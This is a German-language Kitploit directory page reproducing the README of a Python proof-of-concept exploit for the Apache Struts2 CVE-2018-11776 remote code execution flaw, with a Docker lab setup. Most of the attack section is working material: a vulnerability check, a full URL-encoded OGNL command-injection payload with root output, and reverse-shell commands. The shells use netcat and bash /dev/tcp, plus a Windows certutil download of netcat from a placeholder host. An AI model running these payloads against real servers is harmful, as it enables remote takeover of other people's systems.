Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-EntwicklungLabs & Praxis
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

Funktionsfähiger Python-Test und PoC für CVE-2018-11776, inklusive Docker-Labor

Repository anzeigen
123493vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c auf Twitter

Arbeitsfähiger Python-Test und PoC für CVE-2018-11776, ursprünglich veröffentlicht auf; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

Was ist los?

Man Yue Mo von Semmle hat eine Struts2 RCE-Schwachstelle offengelegt, die in einem in den URL-Pfad einer Anfrage kodierten Payload geliefert wird.

Betroffene Versionen sind 2.3 bis 2.3.34 und 2.5 bis 2.5.16.

Die Standardkonfiguration ist nicht anfällig, aber bei Fehlkonfiguration... F.

Richte deine Docker-Instanz ein

Der Exploit funktioniert einwandfrei mit dem Docker-Container, der für CVE-2017-5638 erstellt wurde (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Richte deine geschwächte Konfiguration ein

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

füge die folgende Konfiguration hinzu;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

und außerdem;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

starte deinen Tomcat und/oder Container neu

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Überprüfe, ob das Ziel verwundbar ist

Teste die URL, um zu sehen, ob eine Weiterleitung und Auswertung stattfindet;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

mit dem Testskript;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Befehle ausführen PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Reverse Shell

Bereite deine Box vor, um die Reverse Shell zu empfangen;

root@kitploit:~
$ netcat -lvp 31337

führe das Skript aus;

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

Ersetze 32771 durch deinen exponierten Container-Port

Aktualisierte Methode über Bash, Vorwärtsschrägstriche werden jetzt unterstützt.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Windows Reverse Shell (ungetestet)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Debug-Hölle (Notizen)

Alle Anfragen mit einem Vorwärtsschrägstrich (/) werden fehlschlagen, weil Tomcat diese aktiv blockiert. Du musst dies möglicherweise umgehen, zum Beispiel durch die Verwendung von Umgebungsvariablen für /bin/bash wie $SHELL im obigen Beispiel.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Vor diesem Hintergrund wird das Windows /c-Flag nicht wie erwartet funktionieren. Ich habe dies nur auf dem Docker-Container getestet.

Update

Dank an @Menin_TheMiddle, der gezeigt hat, dass das Vorwärtsschrägstrich-Problem gelöst werden kann. Der Code unterstützt jetzt Vorwärtsschrägstriche und somit ist auch eine Reverse Shell ohne netcat über Bash jetzt möglich. Außerdem werden jetzt Windows-Instanzen unterstützt (ungetestet).

Gegenmaßnahmen

Patch dein Struts oder verwende es einfach nicht.

Ich schätze, du kannst immer Identitätsbetrugsprodukte verkaufen, falls es zu einem Datenleck kommt und alle Kundendaten durchsickern! (Du weißt, wer du bist, absoluter Abschaum)

Danksagung

Dank an;

  • Man Yue Mo, Semmle für die Offenlegung der Schwachstelle (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity für das Dockerfile-Labor und das Beispiel des OGNL-Payloads (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x für den Bericht über die Methode (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 für den Test (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle für den Bericht (https://www.secjuice.com/apache-struts2-cve-2018-11776/) und dass er mich in meine Schranken gewiesen hat :) Der Code unterstützt jetzt endlich Windows und die Bash Reverse Shell

Grüße

shout out to vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Tool herunterladen